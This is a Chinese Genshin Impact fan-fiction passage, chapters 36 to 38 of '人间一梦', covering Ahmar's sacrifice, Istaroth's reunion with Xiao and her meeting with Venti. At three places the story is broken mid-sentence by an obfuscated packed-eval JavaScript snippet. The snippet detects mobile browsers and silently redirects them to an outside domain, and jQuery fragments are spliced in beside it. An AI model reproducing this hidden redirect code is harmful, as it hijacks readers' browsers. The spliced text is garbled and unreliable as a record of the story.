“我派遣利露帕尔指引人类建立自己的城邦,本就是希望即使我消失后,人类也能靠着自己的能力生存下去。”
有着白色长发的神明伸出了手,闭上眼,感受着沙漠的热风最后一次从指间漏过。
“唯一有些遗憾的,大概就是我还是没能为子民找到我期冀的黄金梦乡。”
伊斯塔露见过阿赫玛尔的高傲、脆弱,直到他如今的坦然。
“谢谢你,伊斯塔露,为我停留了两百年。”
“今后或许就再也不见了。”
阿赫玛尔笑了笑,目光落在遥远的世界边境——草龙阿佩普蛰伏之处,声音平静而坚定:
“伊斯塔露,我的赴死之日已至。”
36.人间一梦(三十六)
就如同笔记里记载的那样,阿赫玛尔为了彻底抹消禁忌知识对这个世界的影响,选择了牺牲自己。
可是……伊斯塔露垂下眼帘,她真的要看着阿赫玛尔死去吗?
娜布本就为死而生,伊斯塔露想阅读禁忌知识,无法阻止她的死亡;但是阿赫玛尔,她还是能救下的吧,就像留下归终一样……
伊斯塔露忽然拉住了阿赫玛尔的披风,神色如常地用极轻极淡的声音问他:
“阿赫玛尔,你想活下去吗?或许我有别的办法能让你活下来。”
“伊斯塔露,万事都有代价,你……”
阿赫玛尔挑起了眉。
认识三百年,他似乎从未见伊斯塔露因什么遗憾过,更没有见过她挽留什么。
知道她是「天理」的「时之执政」后,他更是早已预设了她淡漠旁观结局的立场。
见证时间无限延展的神明,凭什么愿意将视线投向须臾将逝的生命?
他实在没有想到,伊斯塔露也会对他的死产生些许不舍。
伊斯塔露却别开了视线,没有看他,而是仰望着阿赫玛尔为自己建造的赤王陵:
“代价不重要,这个我自有办法。”
“以一己之力荡平四方魔神的赤王,你为了友人放弃了天空岛赐予的权柄,为了子民放弃了赤沙之主的高傲。”
“可魔神除了自身的力量,又与人类何异?”
“现在,你却违背向生的本能,连自己的生命也愿意舍弃?”
面对伊斯塔露的诘问,阿赫玛尔却释然般笑了,这次的笑容终于没有了阴霾。
他笑着将伊斯塔露拥入怀中,甚至拍了拍她的头。
只是失去实体之人,终究无法触碰到未受侵蚀的神女,伊斯塔露感觉不到拥抱的实感,只听见阿赫玛尔在她耳边感叹:
“谢谢你,伊斯塔露,可是不必了。”
“既然做错了事,就没有不为之赎罪的道理。”
阿赫玛尔松开了手,与伊斯塔露拉开合适的距离,他欣慰的目光落在居尔城高耸的城墙上。
“看,即使如今恶疾肆虐,饱受折磨的人类也未曾向命运投降。”
阿赫玛尔迎着苍天,合上眼眸,向人类送出了赤王最后的祝福:
“当我对这个世界的罪孽涤清之际……”
“希望我的子民也会像雄鹰一样再度翱翔。”
随后,他手持赤沙之杖,步履坚定地走向城中。
伊斯塔露站在阿赫玛尔身后,看见那传说中太阳神的头冠在烈日下生辉,风将那纯白的披风吹得猎猎作响。
伊斯塔露重新见到了意气风发的赤王,也是最后一次见到这样的阿赫玛尔。
伊斯塔露最后一次以御前官员的身份,跟在阿赫玛尔身后,出现在人民面前。
这一次,阿赫玛尔所过之处,无数人拖着病躯前来一睹神明真容,他们都用期冀的目光望着白发的青年。
人人都在欢呼“赤王大人亲自来拯救我们了”。
正如他们所言,他们的神明决心用自己的生命拯救他们的苦难。
阿赫玛尔在居尔城的中心广场停下,在人民的簇拥中,向着烈日举起手中的长杖,掷地有声地宣告:
“我,魔神阿蒙,会献出我的生命,为此世苍生消除名为‘魔鳞’的疾病。”
随后,他无视了人民的震惊、悲痛以及挽留,目不转睛地离开居尔城,走向宏伟的三角金字塔——他早就为自己建好的陵墓。
赤王陵中,面对着,阿赫玛尔脱下了荷鲁斯神的头冠,甩去了披在身上的披风,将自己的赤沙之杖放上祭台。
伊斯塔露接住了阿赫玛尔的披风,无声地站在角落里,陪他最后一程。
阿赫玛尔在陵墓正中央抬起头,迎着倾泻而下的天光,灿烂如烈阳的金眸缓缓闭合。
只有他和伊斯塔露知道,走入赤王陵只是安定人心的仪式,令民众相信这只是阿赫玛尔借死亡的仪式,达成另一种意义上的永生。
而只剩下灵魂的阿赫玛尔真正要做的,是从赤王陵去往世界边境,让本就图谋不轨的草之龙吞下他的灵魂。
唯有利用草之龙,将灵魂和污染一同消化,才能彻底根除污染的本源。
这是连灵魂也不剩的代价,可阿赫玛尔却没有一刻因畏惧而停下。
直到二人快接近世界边境,他才停下脚步,回头看伊斯塔露:
“好了,伊斯塔露,就送到这里吧。”
见伊斯塔露蹙着眉想开口,阿赫玛尔玩笑着道:
“我将死之时的落魄姿态,就没必要看了吧,到这里就很好。”
“伊斯塔露,娜布有和你说起过吗?我们之前就商量过的,历史只会记录下我和她的罪孽,与你无关,不要有负担。”
不等伊斯塔露的回答,阿赫玛尔便利落地向前走去,只给她留下一句话:
“再会,伊斯塔露。”
伊斯塔露也没有强求,她在风中目送着白发青年远去。
眼泪从她的眼角滑下。
“……再会,阿赫玛尔。”
沙漠的风好像不再灼热,它将阿赫玛尔最后的话带到伊斯塔露耳畔:
“「时之执政」伊斯塔露,你是提瓦特的时时刻刻,是历史的记录者。”
“那么,希望属于我的‘历史’,也能被你铭记。”
.
阿赫玛尔不敢与伊斯塔露太过正式地告别,他怕自己有那么一瞬,真的会畏惧死亡。
他终究不是草木,也会害怕生命的终结。
他也想活下来的。
可他是沙漠的神王,他要在所有人面前保持最后的骄傲,哪怕是面对为了赎罪的死亡。
至于对伊斯塔露到底是什么感情,阿赫玛尔也说不清。
想来也不是太清白磊落,否则也不会拥抱她了。
那是唯一一个让他不要独自负担一切的人。
但无论他的感情如何,现在都不重要了。
他即将死去,又为什么要为了一己私欲,在活着的神女心中留下什么?
那太自私了,也太没有气度了。
他和她历经百年时间的相逢,已经胜过许多时光。
伴随着如此思绪,阿赫玛尔在草之龙蛰伏之处停下脚步,扬声挑衅道:
“阿佩普,在世界边境苟延残喘,如此丑态,真是难看啊。”
一声愤怒的长啸在他身后响起。
阿赫玛尔回过头,仰望着遮天蔽日的巨龙,扬起张狂而快意的笑容,毫不掩饰自己的讥讽:
“不是早就想吞下我,窃取我所知道的禁忌吗?来啊,连我的灵魂也别放过。”
早在很久之前,娜布就和阿赫玛尔提起过阿佩普。
草之龙阿佩普,本就被「天理」镇压而蛰伏在世界边境,在想方设法得到来自世界之外、能对抗「天理」的力量。
所以知道禁忌知识却弱得只剩下灵魂的阿赫玛尔对她而言,本就是绝佳的美味,如果不是那个「时之执政」一直在他身边……
她明知有诈,却仍对禁忌知识心动不已,只能焦躁地用龙尾拍打着沙原,扬起骇人的沙暴。
即使面对葬身龙腹的结局,沙海与权威的孤高神王仍没有一丝惧意。
他嘲笑着草龙的胆怯与贪婪,目光却仍停留在和伊斯塔露告别的方向
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16013951|177223||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
终于,暴怒的草之龙张开了血盆大口,如阿赫玛尔所愿,将他的魂灵吸入腹中。
他再也看不到黄沙、烈日,也看不到送他来此的神女,只能看见一片空蒙的纯白。
阿赫玛尔知道,他的灵魂,连带着禁忌知识的污染,都会被阿佩普消化,即将不复存在。
将死之际,精神恍惚间,他却看见了自己与花树二神论道的场景。
这样很好。
阿赫玛尔英气而漂亮的眉眼柔和下来,他轻轻地笑了。
或许他想要在禁忌知识中找回的,从来都不是遥不可及的黄金梦乡,不是众生的乐园。
而是在永恒绿洲的湖心岛中,与娜布和布耶尔一起的时光。
还有一脸无奈地跟在他身后,毫无敬意地喊他“赤王大人”的伊斯塔露。
在无边无际的空蒙中,阿赫玛尔漫无目的地向前方伸出手,像是要抓住什么,却一无所获。
最后,他缓缓合上了灿烂的金眸,在空蒙中下坠。
“伊斯塔露,你会记得我吗?”
.
听到极远处传来草龙痛苦的嘶吼声后,伊斯塔露抱着阿赫玛尔的披风与另一柄赤沙之杖,转身离去。
阿佩普已经被阿赫玛尔体内的禁忌污染。
这也意味着阿赫玛尔的灵魂已经被阿佩普吞下。
历经三百年的聚散,命运的宣判终于悄然落下。
花神陨落,赤王牺牲,沙漠与雨林只剩下大慈树王一位神明,一切都如那本笔记所记载的那样。
伊斯塔露摁着眉心,只觉得无可奈何。
她现在只想完成阿赫玛尔的遗愿,然后离开这片沙漠。
于是她再一次来到雨林,在布耶尔的白塔外求见。
向来温柔沉稳的大慈树王却婉拒了她的求见,只令人转告了一段话:
“卡伊洛斯阁下,您可能不知道,娜布从未答应帮助阿赫玛尔探寻禁忌知识,直到您到来后——她以生命赌的或许不是阿赫玛尔,而是您。”
“所以,我担心我无法正视您所做的一切,从而对您出言不逊。”
“但我尊重两位故友与您的情谊,所以在此祝您前路无虞。”
布耶尔理应恨透了伊斯塔露。
如果没有她,布耶尔的两位故友未必会离去——至少不该死得这般早。
于是伊斯塔露也没有强求,她无声地离开了雨林的白塔,在沙漠与雨林的交界处,第一次大规模地动用了自己的权能。
「时间」的权能令所有人的病势完全静止,魔鳞病再也无法进一步折磨人类。
疯狂蔓延、令万物枯萎的「死域」也无法扩散。
她给布耶尔留下了很长很长的时间,以便她去根除禁忌的污染。
随后,伊斯塔露再次戴起斗篷的兜帽,离开了这未来被称为“须弥”的国度。
梅丽塔蒙留下的遗言说,风精灵去北方冰原了。
那是伊斯塔露最后的牵挂,她要越过雨林,穿过归离集,去往冰原找它。
.
数日后,前往寻求盐之魔神庇护的一群人在平原上被发狂的魔物群拦下。
为首的巨大魔物浑身泛着煞气,它捶着胸口,嘶吼一声,便要扑向战战兢兢的领头人。
混在人群中的伊斯塔露轻叹一声,正准备出手,却见凛冽的风元素力从眼前掠过。
随后,所有魔物应声倒地。
人群霎时爆发出欢呼:
“一定是仙人!是仙人救了我们!”
伊斯塔露循着人声抬眼,看见了众人口中的仙人。
那如寒月般的孤影,熟悉又陌生。
37.人间一梦(三十七)
打倒魔物的少年夜叉并没有理会人群的欢呼。
他兀自收起长枪,脸上的狰狞傩面缓缓消散,露出不食人间烟火的清冷眉眼。
是魈。
三百年不见,魈已经全然褪去了伊斯塔露记忆里的青涩,他的视线淡淡扫过人群:
“我奉帝君之命,荡涤此地妖魔,不必道谢。”
随后,魈拂衣而去。
伊斯塔露也在人群中长舒一口气。
她没打算和魈重逢。
距离“伊露刺杀归终”已经过去了三百年,但归离集也没有归终回来的消息。
那他们自然还觉得是她杀死了归终。
无论是被当做死而复生,或是假死逃匿,都没办法向归离集的人交代。
她等待着人群重新聚拢,向冰原附近的“地中之盐”迁移。
谁知那名领头人却赶忙追着魈,问他口中的“帝君”是谁,得知是摩拉克斯后,他大喜过望,询问魈他们是否能被接纳。
“帝君心系苍生,护浮世一隅至今。”
魈如此回答。
领头人把这个消息传给了其他人,人群中霎时响起欢呼。
于是原本寻求盐之魔神庇护的人群,准备转而寻求岩之魔神的庇护。
……这些人啊,能不能不要当墙头草呢?明明都快走到地中之盐了。
伊斯塔露只觉得头疼。
她原本只是路过,见这些向北迁移的人惶惶不安,才问自己能否加入其中逃难,实则暗中保护他们。
这下真是走也不是,留也不是。
最后,她无奈地深吸一口气,低下头,伸手抹了一把面颊,五官霎时变成了另一副模样。
她只能先这样混在人群中,等到天黑了再悄悄离开。
反正这附近有魈在,这些人应该不会再出事了。
魈本人也不在意这些人的想法,他回答完领头人的问题后,苍青的身影便如疾风般一闪而逝。
他完全没看见不远处的伊斯塔露。
等到夕阳西下,夜幕笼罩大地时,逃难的人群已经围成一圈,就地生起了火。
伊斯塔露就是在这时候离开人群的。
她远远望了一眼归离集的方向,毫不犹豫地继续向北前行。
没有她的归离集一样能够发展得很好,她不必回头,她还要向前。
在经历了娜布和阿赫玛尔的死亡后,对归终的事,她已经不那么难过。
这是她的选择,更何况,这能有一个很好的结局。
至少所有人都活下来了,不是吗?
伊斯塔露孤身一人走在夜幕下的平原中,晚上的风轻柔地托起她的斗篷,远处传来令人胆战心惊的魔兽嘶吼。
她借着月光,低头翻阅着神秘声音留下的笔记,对嘶吼声充耳不闻。
——直到在月光下,一道巨大的投影覆盖了她的影子。
伊斯塔露收起笔记,淡定地回过头,却没有看见任何魔物,她低下头,那比她的身形大了数圈的影子却仍然存在。
伊斯塔露试着对黑影竖起两根手指,谁知黑影也和她一样竖起手指。
伊斯塔露晃了晃,黑影也跟着晃。
除了体型壮硕,好像和她的影子也没什么区别。
伊斯塔露佯装松了口气,果然见黑影忽然离开了地面,变成了粘稠的黑泥,想要将她包裹其中。
伊斯塔露不紧不慢地抬起眼,感叹了一句“这就藏不住了”,本想发动自己的权能。
却先看见一抹熟悉的苍青色从眼前掠过。
随后,青黑的元素力从她原本站着的地方炸开,一团巨大的黑色魔物从地底爬出,凄厉地哀嚎起来。
伊斯塔露本人则被人扣着肩膀,带到了数十米开外。
但魈这种老鹰抓小鸡般的动作让伊斯塔露很是无语,她头疼地摁了摁太阳穴:
“谢谢你,但是放我下来……”
话音刚落,她本人和魈都是一惊。
这是伊斯塔露自己的声音——她以为快到地中之盐了,自己不可能再见到魈,所以根本没变化自己的声音。
魈几乎在半空中趔趄了一下,才用眼角的余光悄悄瞥视自己“救下”的少女。
虽然同样有着白发,但那是一张陌生的脸,五官平平,毫无记忆点。
魈记得很清楚,自己绝对没有见过这张脸。
她的声音却和他数百年前的故人无比相似,甚至可以说是一模一样。
可魈还是觉得,这个少女和伊露不像。
至少伊露不会在被他救下后,冷着脸向他生硬道谢——表面像在感谢他,实则在下逐客令:
“仙人,谢谢你的帮助,但我自己能解决那个东西……天黑了,我要找个地方歇歇了,再见。”
伊斯塔露有些忐忑地把握着冷硬的语气,见魈久久没有反应,她犹疑不定地微微挑眉。
她露馅了?
不应该啊。
她现在对魈的态度已经很不好了,她当时在归离集明明把魈当朋友来着,应该挺客气才对。
片刻后,魈一言不发地转过身,似乎打算离开,只留下了一句告诫:
“此地魔兽肆虐,孤身一人夜行易受侵袭,你好自为之。”
伊斯塔露却听到了一声微不可闻的叹息。
她无奈地目送魈离开,却借着月光看见他背后有点点血迹浮现,渗过了白衣,红得触目惊心。
显然是因为降妖除魔,不知道又受了什么伤。
伊斯塔露摇了摇头,还是没狠下心直接离开。
“等等,仙人,”伊斯塔露叫住了魈,“你背后受伤了,血都渗出来了,找个地方休息疗伤吧。”
“无妨。”
魈连头也没回。
伊斯塔露气笑了。
她还在归离集的时候,魈就已经是作践自己身体第一线的人物,被她劝过多次,没想到时至今日,还是屡劝不改。
“仙人别走。”
伊斯塔露伸出手,一把拉住了魈身后的飘带,等着魈回头,忽略了他微愠的神色。
“我觉得我们还是不要就此告别了,这里的魔兽一定会杀死弱小无助的我,至少今晚,你也和我一起找个地方歇歇吧。”
“我来此本为除魔,断不会偷闲,你若遇险,呼救便是。”
看得出来,魈还是讲道理的,即使恨不得马上离开她这个不敬的家伙。
但伊斯塔露就没想和他讲道理。
“不行啊仙人,”伊斯塔露张口就来,“万一你赶不过来怎么办?活生生的人命啊,你不能见死不救啊。”
魈:“……”
魈可能一辈子都没遇到过这么不讲道理的人,他沉默了许久,才淡漠地回了她一句:
“不知天高地厚的人类。”
最后,魈还是因为担心伊斯塔露真的被魔兽杀死,选择了和她一起坐在刚生起的火堆边。
魈才刚坐下,伊斯塔露便不由分说地把一只白瓷瓶抛向他。
“仙人,你记得疗伤,我这药不知对你有没有效果,你试试?”
“不必,我自有治愈之道。”
魈想也没想就拒绝了她。
伊斯塔露也不强求,她拾起脚边的树枝,将其随手拋入火堆:
“我们人类尚且知道珍惜自己,仙人你毕竟在白天还救了我和其他逃难的人,我就提醒提醒你——”
“你还是得自己注意身体,毕竟未必有人替你担心。”
魈记得伊露也曾如此劝他,但语气并没有那么生硬。
伊斯塔露注意到了魈的视线,轻嗤一声。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16029324|177223||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“仙人,你看我干什么?难道是透过我看谁吗?”
伊斯塔露明知魈在想什么,偏偏要故意挑明,借此划分自己和魈记忆里的“伊露”。
“……没有。”
魈几乎是毫不犹豫地否认了伊斯塔露的询问。
可或许是火光太暖,魈不由垂下眼帘,喃喃自语:
“我该如何界定一个人的是与非……”
不染尘埃的仙人眼中也沾了些惘然。
伊斯塔露想起阿赫玛尔和娜布了。
离开居尔城之前,她看过由阿赫玛尔下令新编的史书。
就像这二人商量的,史书隐藏了她的存在,许多事情就变得离奇起来。
在那段历史里,阿赫玛尔不知天高地厚,为世界带来禁忌污染;娜布为虎作伥,令禁忌殃及人民。
所有的祝愿与爱都被掩盖,留下的只有面目全非的错误。
思绪至此,伊斯塔露鼻子一酸,将手中的树枝投入火堆,淡淡地道:
“是非哪有那么轻易界定?很多事都是有原因的啊。”
“不要让自己后悔,等到人死了就再也来不及了。”
火光将她的眼睛映得灿烂。
有那么一刹那,魈恍惚间觉得,他眼前的人就应该是伊露。
魈沉默片刻,忽然从火堆旁站起身:
“我尚有要务,要先回归离集……我还会回来。”
这是他的试探。
如果是身负“刺杀归终”之名的伊露,多多少少会对他这句话有所防备。
可少女依旧盘腿坐在火堆旁,目光落在迸溅的火星子上,闻言也只是不以为意地挥了挥手。
“好啊,但是仙人快去快回,万一我的小命不保了……我在这里等你。”
魈心中的期冀少了几分,他沉默地转身离去。
他没有回归离集,而是去找白天那群逃难的人——听那个白发少女的意思,她在白天时还是其中一员。
这片平原不大,魈很快就找到了围着火堆栖息的逃难人群。
眼见白天拯救了自己的仙人突然出现,逃难的人们都有些受宠若惊,忙招呼着仙人来
魈疏离地谢绝了人类的邀请,只是向他们提出了疑问:
“你们可对一名白发的少女有印象?”
叽叽喳喳的人群有一瞬间沉默,随后,人们七嘴八舌地向魈描述自己的记忆:
“上仙说的是不是那个披着斗篷的人?她一直戴着兜帽,看不清脸。”
“她性格好像也有点孤僻,不爱和人说话,但人不错,总是帮忙。”
“其实她人还挺随和的……”
等人声渐渐平息,不起眼的角落里,一道声音却忽然响起:
“我、我偶然见过她的脸,她的眼睛是金色的,长得非常非常漂亮,我从来没见过这么漂亮的人……”
魈骤然瞪大了眼。
白发,金眸,白斗篷,漂亮的容貌,和一模一样的声音。
伊露真的没有死?!
那个白发少女其实是她?
他一刻也没有犹豫,便向着来时的方向快速移动。
在摩拉克斯麾下三百年间,魈从未有失态之时,今日是他唯一一次失态。
随帝君征战百年,魈通透冷静了许多,早就不是那个时常会自我怀疑的少年夜叉了。
唯有对伊露的疑惑,百年来都未有答案——
她为什么要用假死脱身?她真的杀死了神女归终吗?
是另有隐情?还是……早就图谋不轨?
伊露和帝君一起解放了所有夜叉的恩情,魈铭记至今。
所以对于这些事,比起怨恨,他只想问个清楚。
风声在耳边呼啸,魈重新赶往白发少女所在之处,速度之快,甚至带出了一道残影。
38.人间一梦(三十八)
可等魈回到那个地方时,火堆已经熄灭,只剩下一地灰烬。
原本还笑着说“好啊,我在这里等你”的白发少女,已经不在原地了。
魈颓然地闭上眼。
他还记得三百年前,云来海上的剑光犹如月光,划开了直面海之魔神的绝望阴霾。
如同昙花一现,只在刹那之间。
而那人也如镜花水月,触之及碎,须臾间便人走茶凉,就和现在一样。
哪怕只是迟了一点,也没有人等待他。
无论是亡魂重返人间,还是故人从未死去。
.
趁着魈离开的时间,伊斯塔露马不停蹄地离开了归离集北方的平原。
她听不出魈的试探才有鬼了。
她暂时也没办法交代“刺杀”归终的事,还是走为上计。
伊斯塔露穿过了弯成半扇拱门的山崖,终于来到了名为“提瓦特”的大陆最北方的冰原。
这里的气候比不上归离集,甚至不如烈日炎炎的沙漠——凛冽的朔风无情地刮着,随时有可能令人类冻毙其中。
千里冻土,不见人影。
伊斯塔露斟酌之后,登上了此地最高的山峰。
她本想远望「龙卷之魔神」的领地,却在皑皑白雪中发现了一块残破的石板。
伊斯塔露捡起了石板,拂开了覆盖其上的残雪,勉强辨认出凿刻的字后,却脸色骤变——
石板上的文字是对她的祭词。
「我们在此祭拜时间的神明,她是时之千风,是铭记历史的时时刻刻」
「我们祝颂她的名——伊斯塔露,以寻求……」
伊斯塔露握着冰凉的残破石板,只觉得脊背发凉。
她从没来过这片冰原,知道她真名的人更是寥寥无几。
到底是谁传播了对她的信仰,又是谁在祭拜她?
伊斯塔露的笔记里记载过,在冰原相争的主要是两个魔神——「龙卷之魔神」迭卡拉庇安,和「北风之魔神」安德留斯。
伊斯塔露也听说过这二位。
安德留斯是一只巨狼,严肃古板,相当不喜欢人类,拒绝对人类提供庇护,并无人类拥护者。
迭卡拉庇安以人形行走于世,乖张孤僻,虽然在冰雪中用烈风庇护人类,却也让人类只能匍匐着活在高塔中。
那这两位魔神,到底是谁在传播她的名讳?
在伊斯塔露思绪杂乱之际,她身后却响起一道清澈的少年声,像月光下的清泉:
“欸欸,伊斯塔露?是你吗?”
伊斯塔露骤然回头,却看见一只风精灵飞到她面前,扫去了她发丝间的落雪,又喊了她一声:
“伊斯塔露,是我呀,你真的不记得我了吗?”
小小的风精灵抬起头,和她对视,就如同新生时那样。
怎么会忘记呢?
但最后,伊斯塔露只是轻描淡写地笑了笑:
“当然记得你啊,风精灵,你怎么能说话了?”
风精灵沉吟片刻,摇了摇头。
“嗯……不知道,两百年前突然就能说话了。”
说完,他又轻车熟路地飞到伊斯塔露头顶,找了个舒服的位置趴下:
“你真的还记得我诶,我很开心哦。”
“……毕竟我们已经三百年没见了。”
风精灵的声音低落下来。
“但我们还是重逢了啊……”
伊斯塔露闭上眼,熟练地抬手摸了摸风精灵。
“我现在不该叫你风精灵了吧?你有给自己取名字吗?”
风精灵清澈含笑的声音在伊斯塔露头顶响起:
“有哦,这么久不见,我是不是该正式自我介绍一下?”
“伊斯塔露,我的名字叫温迪。”
“……你说你叫什么?”
伊斯塔露却笑意一僵。
风精灵不明就里,重复了自己的名字:
“我叫温迪,不好听吗?”
伊斯塔露垂下眼帘,沉默着。
她记得清清楚楚,神秘声音留下的笔记说,冰原最后没有剩下任何一位魔神。
加冕七神之位的,是一只名不见经传的风精灵。
成为风神的风精灵,本名叫温迪,加冕为提瓦特的「风神」——巴巴托斯。
而那本笔记同样没让她放过温迪。
伊斯塔露这下明白笔记为什么要让她创生风精灵再放生了。
是因为逻辑需要闭环。
未来的风神,是由她「时之执政」亲手创造的。
见伊斯塔露迟迟没有回答,风精灵有些担忧地摸了摸她的发丝:
“欸欸,你不喜欢这个名字吗?我可以换一个哦?你不要不高兴呀。”
“不用啊,温迪,这个名字很好。”
伊斯塔露想也不想便拒绝了。
“你还记得我当初对阿赫玛尔说的话吗?”
提起已经死去的赤沙之主,伊斯塔露的声音似乎抖了抖。
“名字是有意义的,你的名字要留给你自己取,这是你的自由,也是对你的第一份祝福。”
“所以温迪就很好。”
迄今为止,笔记里的内容都在一一实现,伊斯塔露不觉得改一个名字就能更改未来。
但是她并非对一切都无可奈何,不是吗?
笔记要她引诱温迪重要的友人——一位吟游诗人为抗争战死,从而让温迪困在原地。
但或许她也能像当初在归离集那样,给出不一样的结局。
「天理」甚至默许了沙漠发生的事,只是要她在迭卡拉庇安和安德留斯之间取舍——
“雨林与沙漠的魔神只剩下一位,虽然不是您所希望的那位,但她历经故友先后死亡,精神上已是强弩之末,也很合适。”
“如今我来到冰原,见证二神相争的历史,为您选择出最适合登神的那位。”
伊斯塔露没有再纠结未来的事,她把玩着刻着自己名字的残破石板,若有所思:
“知道我真名的寥寥无几,到底是谁在向人类传播……”
“欸,你说这个?”
风精灵探头探脑地看了眼伊斯塔露手中的石板。
“现在这里是名叫‘千风’的神殿的遗址啊。”
“我在一两百年前有保护这附近的人类,觉得是做好事,用的是伊斯塔露你的名号。”
“所以他们祭祀的时候写了这个吧,我记得,他们甚至还在某座岛上给你另外建了‘时间’的神殿?”
从被创造出来开始,温迪就一直知道她的真名。
但伊斯塔露无论如何也没想到,温迪还会用她的名号保护人类。
……做好事留真名这种事,下次还是不要带上她了。
伊斯塔露哭笑不得地叹了口气,无力地摆了摆手:
“……啊,没事,乌龙。以后温迪用自己的名字吧。”
“欸,这样吗?”温迪也没有多问,“好啊。”
伊斯塔露也松了口气。
虚惊一场。
她还以为是「天理」发现了她的反心,留了不知名的麻烦敲打她。
“所以伊斯塔露要和我一起回去吗?我现在和逃离迭卡拉庇安统治的人类生活在一起。”
温迪向她发出了邀请。
伊斯塔露却摇了摇头。
“我现在打算去迭卡拉庇安的领地。”
纵然满腹疑惑,但温迪还是尊重了伊斯塔露的意愿,只是在和她告别前反复叮嘱她。
“据说迭卡拉庇安很凶,你要小心哦。”
“好,谢谢温迪,再会。”
伊斯塔露点点头,和风精灵告别。
她选择去迭卡拉庇安的领地是有原因的。
不仅是因为安德留斯根本不待见人类模样的家伙,更是因为温迪未来的友人,就在迭卡拉庇安的领地。
.
但伊斯塔露这一次的混入城邦,倒是比之前都顺利。
守门的士兵只是扫了一眼她伪装出的落魄模样,便抬手放行了。
他们只在她身后叮嘱了一句话:
“高塔上的君王仁慈,既然你已经历经千辛万苦来到这里,就能被接纳,只要你向烈风俯首。”
「高塔上的君王」,说的就是大概就是迭卡拉庇安了。
伊斯塔露望向不远
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16039733|177223||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
处高耸入云的白塔。
这个名号还挺写实。
进城后,伊斯塔露随便挑了个小摊打探消息。
摊主死气沉沉地看了她一眼,慢吞吞地指了指自己摊位上的日落果:
“迭卡拉庇安大人保佑,你买了再问。”
摊主甚至还虔诚地冲着高塔拜了拜。
“好的,请问这……”
伊斯塔露话音未落,便见摊主忽然后退一步,冲着高塔又拜了拜,才指着她的鼻子训斥:
“迭卡拉庇安大人保佑,你怎么敢不拜迭卡拉庇安大人就开口说话?!我要叫士兵捉拿你!”
伊斯塔露只觉得可笑又无奈。
……守门士兵说的俯首,还真就是物理上的俯首?一开口一磕头?
这个地方的人过于写实了。
“迭卡拉庇安大人保佑,您实在不必如此计较。”
“烈风的威严无人不知,但唯有仁爱才有爱戴,烈风也并非不近人情……”
一名清秀的少年忽然出现在了伊斯塔露和摊主之间,他吟唱着即兴发挥的诗篇,拦住了想要喊人的摊主。
随后,少年悄悄回过头,冲伊斯塔露眨了眨眼。
“你好啊,我是这里的吟游诗人,名叫弗莱温。”
“……你好。”
眼见摊主已经颤抖着推开少年诗人,要去找喊士兵,伊斯塔露轻轻推了推弗莱温:
“弗莱温,谢谢你,但是快离开吧。”
“没关系,这种事情都是我们这里常有的啦。”
弗莱温倒是不以为意,他摆了摆手,笑道:
“这种情况很好解决的,只要和我一样就好啦……”
“快,和我一起跑!”
弗莱温拉起伊斯塔露的手,不消片刻就没了影。
“这不对吧……”
伊斯塔露悠悠地叹了口气,还未来得及说什么,就被弗莱温拽着跑出好远。
弗莱温想也没想,就带着她径直奔向不远处的高塔。
他甚至还有闲心向伊斯塔露解释:
“你看上去很眼生啊,是外面来的人吗?说话第一句要歌颂迭卡拉庇安大人是我们这里的传统,如果没有做到,将会受到惩罚。”
“看到别人没做到而不向巡逻的士兵举报,也要接受惩罚。”
说到这里,弗莱温的眉皱了皱。
“那个摊主只是怕极了惩罚才这样,我们跑掉就好了,他不会不依不饶的。”
“这种情况下绕着路一般向着高塔跑就好,越靠近迭卡拉庇安大人的地方,大家越不敢接近。”
“所以我们一般也遇不到人,就安全了……哎哟!”
话音未落,拐弯的弗莱温便猝不及防地和一名壮硕的士兵相撞。
伊斯塔露什么也没说,只是扶起了疼得呲牙咧嘴的弗莱温。
士兵的着装和巡逻那批人不同,想来不是来抓捕她的。
弗莱温显然也看出来了,为了避免生出事端,他也连连道歉:
“迭卡拉庇安大人保佑,对不起对不起,我没看清路。”
最前面的一名士兵却不依不饶,他拔出长剑,指着满脸懊恼的少年诗人:
“孤王大人保佑,你胆敢冲撞迭卡拉庇安大人!还不去领罚?!”
……迭卡拉庇安?
伊斯塔露闻言,不着痕迹地抬眼扫过眼前的人群。
一群身着盔甲的士兵簇拥着一名华贵傲气的长发青年,从不远处的高塔上拾阶而下。
金发的青年长得极美,甚至是伊斯塔露也为止惊叹。
但当他的目光扫过人群时,并无人惊叹他的容貌,只能听见此起彼伏的叩首声。
但叩首并非是人类对迭卡拉庇安表达敬意,而是表达畏惧——
他周身萦绕的烈风压得人抬不起头。
迭卡拉庇安甚至没有用正眼瞧弗莱温,他只是不耐烦地冲士兵们摆了摆手:
“微不足道的小事而已,别嚷嚷,吵。”
